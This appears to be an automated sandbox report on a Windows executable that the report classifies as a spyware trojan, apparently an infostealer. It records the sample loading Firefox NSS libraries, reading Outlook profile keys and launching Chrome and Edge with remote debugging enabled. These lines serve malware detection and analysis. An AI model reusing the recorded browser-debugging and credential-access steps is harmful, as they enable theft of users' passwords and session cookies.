Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E6CF0	0_2_6C5E6CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5AD4E0	0_2_6C5AD4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6034A0	0_2_6C6034A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60C4A0	0_2_6C60C4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B6C80	0_2_6C5B6C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5CED10	0_2_6C5CED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D0512	0_2_6C5D0512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5BFD00	0_2_6C5BFD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E0DD0	0_2_6C5E0DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6085F0	0_2_6C6085F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C616E63	0_2_6C616E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C9E50	0_2_6C5C9E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E3E50	0_2_6C5E3E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F2E4E	0_2_6C5F2E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C4640	0_2_6C5C4640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5AC670	0_2_6C5AC670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E7E10	0_2_6C5E7E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C609E30	0_2_6C609E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F5600	0_2_6C5F5600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6176E3	0_2_6C6176E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5ABEF0	0_2_6C5ABEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5BFEF0	0_2_6C5BFEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C604EA0	0_2_6C604EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C5E90	0_2_6C5C5E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60E680	0_2_6C60E680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E7710	0_2_6C5E7710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B9F00	0_2_6C5B9F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D6FF0	0_2_6C5D6FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5ADFE0	0_2_6C5ADFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F77A0	0_2_6C5F77A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C8850	0_2_6C5C8850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5CD850	0_2_6C5CD850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5EF070	0_2_6C5EF070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B7810	0_2_6C5B7810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5EB820	0_2_6C5EB820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F4820	0_2_6C5F4820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6150C7	0_2_6C6150C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5CC0E0	0_2_6C5CC0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E58E0	0_2_6C5E58E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D60A0	0_2_6C5D60A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61B170	0_2_6C61B170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5CA940	0_2_6C5CA940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5FB970	0_2_6C5FB970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5BD960	0_2_6C5BD960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E5190	0_2_6C5E5190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DD9B0	0_2_6C5DD9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C602990	0_2_6C602990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5AC9A0	0_2_6C5AC9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E9A60	0_2_6C5E9A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E8AC0	0_2_6C5E8AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C1AF0	0_2_6C5C1AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5EE2F0	0_2_6C5EE2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C612AB0	0_2_6C612AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5BCAB0	0_2_6C5BCAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61BA90	0_2_6C61BA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5A22A0	0_2_6C5A22A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D4AA0	0_2_6C5D4AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5A5340	0_2_6C5A5340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5BC370	0_2_6C5BC370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5ED320	0_2_6C5ED320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6153C8	0_2_6C6153C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5AF380	0_2_6C5AF380

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C5E94D0 appears 90 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C5DCBE8 appears 134 times

Source: file.exe, 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2664515388.000000006C825000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: oguwjjrw ZLIB complexity 0.9948726773009385

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@63/297@26/26

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C607030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C607030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\XO775UVG.htm

Jump to behavior

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user\AppData\Local\Temp\61228a20-481a-4cc9-b758-646a1eeedc59.tmp

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2663669764.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2652384299.000000001D4EF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2664354776.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2663669764.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2652384299.000000001D4EF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2664354776.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2663669764.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2652384299.000000001D4EF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2664354776.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2663669764.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2652384299.000000001D4EF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2664354776.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.2663669764.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2652384299.000000001D4EF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2664354776.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2663669764.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2652384299.000000001D4EF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2663669764.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2652384299.000000001D4EF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2664354776.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.2321973866.000000001D3E8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2426755534.000000001D3DC000.00000004.00000020.00020000.00000000.sdmp, BAKJKFHCAEGDHIDGDHDA.0.dr, IECBGIDAEHCGDGCBKEBG.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2663669764.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2652384299.000000001D4EF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2663669764.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2652384299.000000001D4EF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 44%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1784 --field-trial-handle=2196,i,666161878046163047,8604981053398808251,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2244 --field-trial-handle=2164,i,4746656918360619146,9382172883927238799,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2644 --field-trial-handle=2024,i,3838732235507287572,18018030642264510812,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6740 --field-trial-handle=2024,i,3838732235507287572,18018030642264510812,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6904 --field-trial-handle=2024,i,3838732235507287572,18018030642264510812,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7080 --field-trial-handle=2024,i,3838732235507287572,18018030642264510812,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1784 --field-trial-handle=2196,i,666161878046163047,8604981053398808251,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2244 --field-trial-handle=2164,i,4746656918360619146,9382172883927238799,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2644 --field-trial-handle=2024,i,3838732235507287572,18018030642264510812,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6740 --field-trial-handle=2024,i,3838732235507287572,18018030642264510812,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6904 --field-trial-handle=2024,i,3838732235507287572,18018030642264510812,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7080 --field-trial-handle=2024,i,3838732235507287572,18018030642264510812,262144 /prefetch:8	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Google Drive.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 2129920 > 1048576

Source: file.exe

Static PE information: Raw size of oguwjjrw is bigger than: 0x100000 < 0x19ce00

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2664354776.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
